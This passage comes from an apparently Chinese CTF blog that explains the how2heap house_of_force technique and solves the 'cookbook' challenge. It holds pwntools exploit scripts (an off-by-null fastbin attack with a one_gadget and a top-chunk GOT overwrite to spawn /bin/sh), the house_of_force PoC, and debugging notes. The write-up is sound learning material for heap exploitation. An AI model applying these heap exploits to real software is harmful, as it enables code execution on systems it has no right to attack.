class="number">1</span>))</span><br><span class="line"> p.recvuntil(<span class="string">'(CONTENT)>>> '</span>)</span><br><span class="line"> p.sendline(content)</span><br><span class="line"> p.recvuntil(<span class="string">'(Y/n)>>> '</span>)</span><br><span class="line"> p.sendline(<span class="string">'Y'</span>)</span><br><span class="line"></span><br><span class="line">add(<span class="number">0xf0</span>,<span class="string">'a'</span>*<span class="number">0xf0</span>)<span class="comment">#0 0x100 chunk</span></span><br><span class="line">add(<span class="number">0x100</span>,<span class="string">'b'</span>*<span class="number">0x100</span>)<span class="comment">#1 0x110 chunk</span></span><br><span class="line">add(<span class="number">0xf0</span>,<span class="string">'c'</span>*<span class="number">0xf0</span>)<span class="comment">#2 0x100 chunk</span></span><br><span class="line">add(<span class="number">0x100</span>,<span class="string">'d'</span>*<span class="number">0x100</span>)<span class="comment">#3 0x110 chunk</span></span><br><span class="line">free(<span class="number">2</span>)</span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line">p.recvuntil(<span class="string">'CONTENT: '</span>)</span><br><span class="line">heap_base=my_u64(p.recv(<span class="number">4</span>))<span class="number">-0x210</span></span><br><span class="line">loginfo(<span class="string">'heapbase'</span>,heap_base)</span><br><span class="line">p.recvuntil(<span class="string">' # INDEX: 3'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'CONTENT: '</span>)</span><br><span class="line">libc_base=my_u64(p.recv(<span class="number">6</span>))<span class="number">-0x3c4b78</span></span><br><span class="line">loginfo(<span class="string">'libcbase'</span>,libc_base)</span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">free(<span class="number">1</span>)<span class="comment">#clear</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#construct again</span></span><br><span class="line">add(<span class="number">0xf0</span>,p64(heap_base)*<span class="number">2</span>+<span class="string">'\x00'</span>*<span class="number">0xe0</span>)<span class="comment">#0 0x100</span></span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">0x68</span>)<span class="comment">#1 0x70</span></span><br><span class="line">add(<span class="number">0xf0</span>,<span class="string">'\x00'</span>*<span class="number">0xf0</span>)<span class="comment">#2 0x100</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">0x60</span>+p64(<span class="number">0x170</span>))<span class="comment">#set prev_size + off_by_null</span></span><br><span class="line">free(<span class="number">2</span>)<span class="comment">#Merge all</span></span><br><span class="line"></span><br><span class="line">free(<span class="number">1</span>)<span class="comment">#set to fastbin first</span></span><br><span class="line"><span class="comment">#(0,,,)</span></span><br><span class="line">add(<span class="number">0xe0</span>,<span class="string">'\x00'</span>*<span class="number">0xe0</span>)</span><br><span class="line"><span class="comment">#(0,1)</span></span><br><span class="line">add(<span class="number">0xf0</span>,(p64(<span class="number">0</span>)+p64(<span class="number">0x71</span>)+p64(libc_base+<span class="number">0x3c4aed</span>)).ljust(<span class="number">0x70</span>,<span class="string">'\x00'</span>)+p64(<span class="number">0</span>)+p64(<span class="number">0x101</span>)+<span class="string">'\x00'</span>*(<span class="number">0xf0</span><span class="number">-0x80</span>))<span class="comment">#fill fakesize0x101 for check by free</span></span><br><span class="line"><span class="comment">#(0,1,2)</span></span><br><span class="line">add(<span class="number">0x60</span>,<span class="string">'\x00'</span>*<span class="number">0x60</span>)</span><br><span class="line"><span class="comment">#(0,1,2,3)</span></span><br><span class="line">free(<span class="number">0</span>)</span><br><span class="line"><span class="comment">#(,1,2,3)</span></span><br><span class="line">add(<span class="number">0x68</span>,<span class="string">'\x00'</span>*<span class="number">0x13</span>+p64(libc_base+<span class="number">0xf02a4</span>))</span><br><span class="line"><span class="comment">#(0,1,2,3)</span></span><br><span class="line"><span class="comment">#gdb.attach(p,'b *0x400c12')</span></span><br><span class="line">free(<span class="number">3</span>)</span><br><span class="line">p.recvuntil(<span class="string">'(CMD)>>> '</span>)</span><br><span class="line">p.sendline(<span class="string">'A'</span>)</span><br><span class="line">p.recvuntil(<span class="string">'(SIZE)>>> '</span>)</span><br><span class="line">p.sendline(<span class="string">'1'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">p.interactive()</span><br><span class="line"><span class="string">'''libc 2.23 x64</span></span><br><span class="line"><span class="string">0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL</span></span><br><span class="line"><span class="string">0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL</span></span><br><span class="line"><span class="string">0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL</span></span><br><span class="line"><span class="string">0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL</span></span><br><span class="line"><span class="string">req = dest - old_top - 4*sizeof(long)</span></span><br><span class="line"><span class="string">fastbin addree to size: (offset_to_fastbinY/8+2)<<(4 or 3)</span></span><br><span class="line"><span class="string">largebin chunksize:0x410|0x450|0x490|0x4C0...</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure>
]]></content>
<tags>
<tag>how2heap</tag>
</tags>
</entry>
<entry>
<title>how2heap - house_of_force&cookbook、bcloud</title>
<url>/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/</url>
<content><![CDATA[<h1 id="how2heap-house-of-force-amp-cookbook、bcloud"><a href="#how2heap-house-of-force-amp-cookbook、bcloud" class="headerlink" title="how2heap - house_of_force&cookbook、bcloud"></a>how2heap - house_of_force&cookbook、bcloud</h1><p>ubuntu16.04 libc2.23</p>
<h1 id="house-of-force-c"><a href="#house-of-force-c" class="headerlink" title="house_of_force.c"></a>house_of_force.c</h1><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">/*</span><br><span class="line"> This PoC works also with ASLR enabled.</span><br><span class="line"> It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.</span><br><span class="line"> If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum </span><br><span class="line"> ( http://phrack.org/issues/66/10.html )</span><br><span class="line"> Tested in Ubuntu 14.04, 64bit.</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#include <stdio.h></span><br><span class="line">#include <stdint.h></span><br><span class="line">#include <stdlib.h></span><br><span class="line">#include <string.h></span><br><span class="line">#include <stdint.h></span><br><span class="line">#include <malloc.h></span><br><span class="line"></span><br><span class="line">char bss_var[] = "This is a string that we want to overwrite.";</span><br><span class="line"></span><br><span class="line">int main(int argc , char* argv[])</span><br><span class="line">{</span><br><span class="line"> fprintf(stderr, "\nWelcome to the House of Force\n\n");</span><br><span class="line"> fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");</span><br><span class="line"> fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "</span><br><span class="line"> "and is the chunk that will be resized when malloc asks for more space from the os.\n");</span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);</span><br><span class="line"> fprintf(stderr, "Its current value is: %s\n", bss_var);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");</span><br><span class="line"> intptr_t *p1 = malloc(256);//0x100</span><br><span class="line"> fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);</span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");</span><br><span class="line"> int real_size = malloc_usable_size(p1);</span><br><span class="line"> fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);</span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");</span><br><span class="line"></span><br><span class="line"> //----- VULNERABILITY ----</span><br><span class="line"> intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));</span><br><span class="line"> fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);</span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");</span><br><span class="line"> fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));</span><br><span class="line"> *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;</span><br><span class="line"> fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));</span><br><span class="line"> //------------------------</span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"</span><br><span class="line"> "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"</span><br><span class="line"> "overflow) and will then be able to allocate a chunk right over the desired region.\n");</span><br><span class="line"></span><br><span class="line"> /*</span><br><span class="line"> * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):</span><br><span class="line"> * new_top = old_top + nb</span><br><span class="line"> * nb = new_top - old_top</span><br><span class="line"> * req + 2sizeof(long) = new_top - old_top</span><br><span class="line"> * req = new_top - old_top - 2sizeof(long)</span><br><span class="line"> * req = dest - 2sizeof(long) - old_top - 2sizeof(long)</span><br><span class="line"> * req = dest - old_top - 4*sizeof(long)</span><br><span class="line"> */</span><br><span class="line"> unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;</span><br><span class="line"> fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"</span><br><span class="line"> "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);</span><br><span class="line"> void *new_ptr = malloc(evil_size);</span><br><span class="line"> fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);</span><br><span class="line"></span><br><span class="line"> void* ctr_chunk = malloc(100);</span><br><span class="line"> fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");</span><br><span class="line"> fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);</span><br><span class="line"> fprintf(stderr, "Now, we can finally overwrite that value:\n");</span><br><span class="line"></span><br><span class="line"> fprintf(stderr, "... old string: %s\n", bss_var);</span><br><span class="line"> fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");</span><br><span class="line"> strcpy(ctr_chunk, "YEAH!!!");</span><br><span class="line"> fprintf(stderr, "... new string: %s\n", bss_var);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> // some further discussion:</span><br><span class="line"> //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");</span><br><span class="line"> //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "</span><br><span class="line"> // "and we \nwant to set this result to the address of malloc_got_address-8\n\n");</span><br><span class="line"> //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");</span><br><span class="line"> //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");</span><br><span class="line"> //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"</span><br><span class="line"> // "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");</span><br><span class="line"></span><br><span class="line"> //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);</span><br><span class="line"> //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);</span><br><span class="line"></span><br><span class="line"> //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这里面最重要的应该就是这个计算过程了,我把步骤解释写一下:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))</span></span><br><span class="line">new_top = old_top + nb</span><br><span class="line"><span class="comment">//remainder = ↑chunk_at_offset (victim, nb);源码中这里remainder对应的就是new_top,victim此时就是old_top</span></span><br><span class="line"></span><br><span class="line">nb = new_top - old_top</span><br><span class="line">req + <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>) = new_top - old_top<span class="comment">//这里分解nb</span></span><br><span class="line">req = new_top - old_top - <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>)</span><br><span class="line">req = dest - <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>) - old_top - <span class="number">2</span><span class="keyword">sizeof</span>(<span class="keyword">long</span>)<span class="comment">//dest = new_top + 2sizeof(long)</span></span><br><span class="line">req = dest - old_top - <span class="number">4</span>*<span class="keyword">sizeof</span>(<span class="keyword">long</span>)</span><br></pre></td></tr></table></figure>
<p>其中最主要的是通过<code>chunk_at_offset(p, s)</code>这个Macro来获得victim的时候,nb为负数时会把topchunk的位置往回放</p>
<p>但是<code>_int_malloc</code>最开始对我们申请的bytes做的检查是这样的:</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> REQUEST_OUT_OF_RANGE(req) \</span></span><br><span class="line"> ((<span class="keyword">unsigned</span> <span class="keyword">long</span>) (req) >= \</span><br><span class="line"> (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (INTERNAL_SIZE_T) (<span class="number">-2</span> * MINSIZE))</span><br><span class="line"><span class="comment">//MINSIZE:x64 0x20,x86 0x10 </span></span><br><span class="line"><span class="comment">//-2*MINSIZE=0xFFFF FFFF FFFF FFC0(x64),0xFFFF FFE0(x86)</span></span><br><span class="line"><span class="comment">//req会被转换成unsigned long,只要我们通过上面的这个检查就可以过第一步了</span></span><br><span class="line"><span class="comment">/* pad request bytes into a usable size -- internal version */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> request2size(req) \</span></span><br><span class="line"> (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \</span><br><span class="line"> MINSIZE : \</span><br><span class="line"> ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Same, except also perform argument check */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> checked_request2size(req, sz) \</span></span><br><span class="line"> <span class="keyword">if</span> (REQUEST_OUT_OF_RANGE (req)) { \</span><br><span class="line"> __set_errno (ENOMEM); \</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>; \</span><br><span class="line"> } \</span><br><span class="line"> (sz) = request2size (req);</span><br></pre></td></tr></table></figure>
<p>然后用一个负数的nb去topchunk申请chunk,当然其中经过smallbin range检查的时候还调用了<code>malloc_consolidate</code></p>
<p>用topchunk的size和nb作比对的时候都是转换成了unsigned long:此时<code>-1</code>计算出来的size是最大的,可以通过该检查:<code>(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)</code></p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>先不急着debug示例程序,我自己准备用自己的程序试一试,具体如下</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc , <span class="keyword">char</span>* argv[])</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="keyword">char</span> *fast=<span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"> <span class="keyword">char</span> *p=<span class="built_in">malloc</span>(<span class="number">0xff0</span>);</span><br><span class="line"> <span class="built_in">free</span>(fast);<span class="comment">//use for test</span></span><br><span class="line"> *(<span class="keyword">int64_t</span> *)(p+<span class="number">0xff8</span>)=(<span class="keyword">long</span> <span class="keyword">long</span>)<span class="number">-1</span>;<span class="comment">//set top_chunk size</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">char</span> *p2=<span class="built_in">malloc</span>(<span class="number">0xFFFFFFFFFFFFF000</span><span class="number">-2</span>*<span class="keyword">sizeof</span>(<span class="keyword">size_t</span>));<span class="comment">//set new_top </span></span><br><span class="line"> <span class="keyword">char</span> *p3=<span class="built_in">malloc</span>(<span class="number">0x100</span>);<span class="comment">//the same address as p</span></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%p,%p"</span>,p,p3);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>
<p>这里我写了一个简单的程序,其中0x30的chunk是用来debug的时候看是否调用了<code>malloc_consolidate</code></p>
<p>设置top_chunk size之后:</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582041965701.png" width="90%" height="90%">
<p>可以看到pwndbg的脚本报错了,不过我们直接看地址偏移还是一样的</p>
<p>然后<code>char *p2=malloc(0xFFFFFFFFFFFFF000-2*sizeof(size_t));</code>这一行的意思是传入一个<code>-0x1000-2*size_t</code>的值,计算nb时会补成<code>-0x1000</code>,通过两道检查后在源码中这里:<code>remainder = chunk_at_offset (victim, nb)</code>,remainder是用来设置新的top_chunk的,所以我们直接就把top_chunk往回放到我们之前申请的0x1000的chunk处去了。</p>
<p>因为chunksize计算时会除去低三位,所以<code>remainder_size = size - nb;</code>这一步中的size实际上是<code>0xfffffffffffffff8</code><br>,减去nb(-0x1000)之后就变成了<code>0xff8</code>,如果我们想要之后的top_chunk能再大一些显然做不到了,因为要通过<code>(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)</code>这个检查</p>
<p>再就是设置top_chunk size的时候,虽然说计算size时低三位是没用的,但是最后一位必须为1,要不然在<code>_libc_malloc</code>里面的<code>arena_get</code>好像会出问题(待深入)</p>
<p>以上内容执行时如下:</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582042913527.png" width="90%" height="90%">
<p>可以看到新的top_chunk已经被设置成了我们之前0x1000 chunk的地址</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582043050649.png" width="90%" height="90%">
<p>最后的运行效果就是这样:</p>
<p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582043111462.png" alt="1582043111462"></p>
<p>两个指针指向的chunk是一样的,也验证了<code>req = dest - old_top - 4*sizeof(long)</code></p>
<hr>
<p>然后再来debug示例代码(这里很简略)</p>
<p>所以上面示例代码中把topchunk的size改成了-1,然后计算出的<code>evil_size=0xffffffffffafcf30</code>当然也通过了检查</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582080713143.png" width="80%" height="80%">
<p>可以看到这里算出来的remainder就是0x602050了,刚好是我们<code>字符串地址-0x10</code>的位置,所以再malloc的时候就可以malloc出这块内存,至于后面注释的那一部分,大致意思就差不多是我们可以通过这个方法来修改GOT表,暂时就不debug了</p>
<p>当然这上面是因为没有开ASLR,bss和top_chunk比较近,如果开启PIE加上ASLR的效果也是一样的:</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582082667248.png" width="80%" height="80%">
<p>一样申请到了这块内存</p>
<p>接下来肝题吧</p>
<h1 id="cookbook"><a href="#cookbook" class="headerlink" title="cookbook"></a>cookbook</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><p>emmm…怎么说呢,感觉以后分析这种程序得换换思路了,以前都是拿着题就往IDA拖了分析,现在看来程序复杂度够高的时候直接这样分析好像不太行,工作量太大,而且根本没有思路,对于量大一点的题得先跑熟悉有个印象再去写,熟悉逻辑之后再去逆会快很多</p>
<p>下面就写一些大致的,后面会放一个总结的图,说不定以后程序分析就都是总结的图了,因为程序每个细节都扣到会浪费时间,能找到漏洞然后利用才是王道啊</p>
<h3 id="main"><a href="#main" class="headerlink" title="main"></a>main</h3><p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582247560625.png" alt="1582247560625"></p>
<p>main大致对应的就是这些东西,Rec代表recipe,Ing代表Ingredient,<code>main_menu</code>是我们操作主菜单,之前做的都是初始化操作</p>
<h3 id="init-RecAndIng"><a href="#init-RecAndIng" class="headerlink" title="init_RecAndIng"></a>init_RecAndIng</h3><p>这个函数分为两个子函数,第一个差不多是下面这样子的,主要做初始化Ingredient的操作</p>
<p><code>add_ingredient</code>是<code>calloc(0x90)</code>一个ingredient的结构体,等下放一张图给自己看吧</p>
<p><code>Ingredient_ListHeader</code>是存在.bss段上的一个链表头指针。<code>LinkList_add</code>就是往这个头指针添加结点,<code>calloc(0x8)</code>,然后存一个next指针一个数据</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582247755837.png" width="60%" height="60%">
<p>第二个子函数就是初始化三个recipe(0x40C),当时直接拿着程序看的时候在这浪费了很多时间,因为根本不知道要干什么,以后碰到这种就先跑一下程序熟悉熟悉,看这些字符串出现在什么地方再逆,<code>ret_Ingredient_ptr</code>是根据name返回对应Ingredient结构体的指针Dish type应该不用管</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582248382621.png" width="100%" height="100%">
<p>不过这两个初始化函数用来逆结构体还是挺好的,这里把结构体放出来吧</p>
<h3 id="struct"><a href="#struct" class="headerlink" title="struct"></a>struct</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582248526810.png" width="60%" height="60%">
<p>再来看<code>main_menu</code></p>
<h3 id="main-menu"><a href="#main-menu" class="headerlink" title="main_menu"></a>main_menu</h3><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582248585103.png" width="45%" height="45%">
<p>就是我们正常的菜单选择了,这里就不做细致分析了,没必要,我下面的这张图记录了每个函数大致的操作</p>
<h3 id="All-in-one"><a href="#All-in-one" class="headerlink" title="All in one"></a>All in one</h3><p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582249392325.png" alt="1582249392325"></p>
<p>所有对应的选项我都记录了大致对应的操作,当然也不乏在调试中发现的一些小细节,比如creat recipe里面是删不掉Ingredient的,因为fegts结尾的<code>\n</code>程序没有处理,导致<code>strcmp</code>比对失败…</p>
<p>最后程序通过链表和不同结构体的管理如下图所示,我这里只拿了一个Ingredient和Recipe做示例</p>
<p><img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582213398090.png" alt="1582213398090"></p>
<h2 id="漏洞分析-amp-Exploite"><a href="#漏洞分析-amp-Exploite" class="headerlink" title="漏洞分析&Exploite"></a>漏洞分析&Exploite</h2><h3 id="leak"><a href="#leak" class="headerlink" title="leak"></a>leak</h3><p>这个题的leak其实只要有经验的话应该马上就能想到,没有经验的话像我可能还稍微想了一段时间吧,当然也要注意这里面的chunk很多都是calloc出来的。当时我在想leak构造的时候第一反应是 creat recipe里面free时没有对current_pt赋值0,所以存在一个bad save,然后就可以打印出对应的东西,这里只有一个recipe chunk被free的时候就可以打印出来这个unsortedbin chunk上的*(*bk)处的值,这里是top_chunk的地址。</p>
<p>后来我想通过remove ingredient来给ingredient chunk的fd和bk处放上libc地址结果失败了,因为我发现这里根本删不了..坑,还以为是出了什么问题,不过依旧是这个思路,由于我们current_ptr是保存在.bss上的,所以我们可以,出去删了这个ingredient之后再回到这里leak,这样在打印price的时候就会leaklibc了,注意数量一定要设置1</p>
<h3 id="Arbitrary-write"><a href="#Arbitrary-write" class="headerlink" title="Arbitrary write"></a>Arbitrary write</h3><p>本题还有一个0x8C的大overflow我们没有用到,最开始我想的是能不能通过fastbin来attack一个地方,后来发现没什么思路就放弃了,因为house_of_force的方法在这里更明显一些,我们可以直接通过这个大overflow来修改top_chunk然后改写GOT表,最后调用<code>system("/bin/sh")</code>。当然改GOT表的过程特别玄学,由于只有Ingredient和cookbook name是malloc出来的,而bookname在我这个方法里面要在设置top_size之后用来设置new top的位置,所以我这里不能用bookname来更改GOT表,只能用Ingredient,但是调试过程中确实踩了很多坑,最后对应ingredient的位置很苛刻</p>
<img src="/2020/02/22/how2heap-house-of-force-cookbook%E3%80%81bcloud/1582252497984.png" width="80%" height="80%">
<p>从前往后试这两个地方用来在设置topchunk的时候写size,前面的内存是不可写的(这里写一笔给记性差的自己:因为32位chunk要8bit对齐,所以只有结尾是4和C的地方才写size),而后malloc ingredient时因为输入Ingredient->name的时候程序会calloc一块chunk出来,也就意味着0x98Bytes后的数据全部会被清零,所以很多数据都会受到连锁影响(跪。而且我试0x0804D004这个地方的时候发现,后面的malloc居然刚好把currentIng_ptr给设置成size字段了,以后在这些数据段操作之前一定先看看后面的一些特殊偏移有什么数据(….<code>&currentIng_ptr-0x0804D000=0x9C(malloc_usable_size)</code>)出题人应该是估计苛刻的?<br>然后用0x0804D00C这个地方用来写size,最后使用哪个表作为system我用的是atoi(好像用free更方便一点)。然后输入name的时候由于fgets会损坏一个Byte的数据,所以我干脆把一些表项全填上去了,当我把要利用的函数的偏移一个个的填上去之后发现,利用的时候由于memcpy是cpy0x80个字节的数据,刚好把bss上的stdin和stdout给写没了,所以又去把stdin和stdout的地址写了上去才成功</p>
<h2 id="完整EXP"><a href="#完整EXP" class="headerlink" title="完整EXP"></a>完整EXP</h2><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> numpy</span><br><span class="line"></span><br><span class="line">binary = <span class="string">'cookbook'</span> <span class="comment">#binary's name here</span></span><br><span class="line">context.binary = binary <span class="comment">#context here</span></span><br><span class="line">context.log_level=<span class="string">'debug'</span></span><br><span class="line">pty = process.PTY</span><br><span class="line">p = process(binary, aslr = <span class="number">1</span>, stdin=pty, stdout=pty) <span class="comment">#process option here</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">Host =</span></span><br><span class="line"><span class="string">Port =</span></span><br><span class="line"><span class="string">p = remote(Host,Port)</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">elf = ELF(binary)</span><br><span class="line">libc = elf.libc</span><br><span class="line"></span><br><span class="line">my_u64 = <span class="keyword">lambda</span> x: u64(x.ljust(<span class="number">8</span>, <span class="string">'\0'</span>))</span><br><span class="line">my_u32 = <span class="keyword">lambda</span> x: u32(x.ljust(<span class="number">4</span>, <span class="string">'\0'</span>))</span><br><span class="line">ub_offset = <span class="number">0x3c4b30</span></span><br><span class="line">codebase = <span class="number">0x555555554000</span></span><br><span class="line"><span class="comment">#log.info("\033[1;36m" +''+hex() + "\033[0m")</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># todo here</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main_choice</span><span class="params">(cha)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'[q]uit\n'</span>)</span><br><span class="line"> p.sendline(cha)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">Ing_choice</span><span class="params">(cha)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'quit)?\n'</span>)</span><br><span class="line"> p.sendline(cha)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">recipe_choice</span><span class="params">(cha)</span>:</span></span><br><span class="line"> p.recvuntil(<span class="string">'[q]uit\n'</span>)</span><br><span class="line"> p.sendline(cha)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">creat_for_leak</span><span class="params">()</span>:</span></span><br><span class="line"> main_choice(<span class="string">'a'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'n'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'g'</span>)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"> p.sendline(<span class="string">'********'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'e'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'q'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">creat_for_fill</span><span class="params">()</span>:</span></span><br><span class="line"> main_choice(<span class="string">'a'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'n'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'g'</span>)</span><br><span class="line"> sleep(<span class="number">0.1</span>)</span><br><span class="line"> p.sendline(<span class="string">'********'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'e'</span>)</span><br><span class="line"> Ing_choice(<span class="string">'q'</span>)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">leak_heap</span><span class="params">()</span>:</span></span><br><span class="line"> main_choice(<span class="string">'c'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'n'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'a'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'to add? '</span>)</span><br><span class="line"> p.sendline(<span class="string">'********'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'many? (hex): '</span>)</span><br><span class="line"> p.sendline(<span class="string">'0x1'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'d'</span>)</span><br><span class="line"> recipe_choice(<span class="string">'p'</span>)</span><br><span class="line"> p.recvuntil(<span class="string">'\n'</span>)</span><br><span 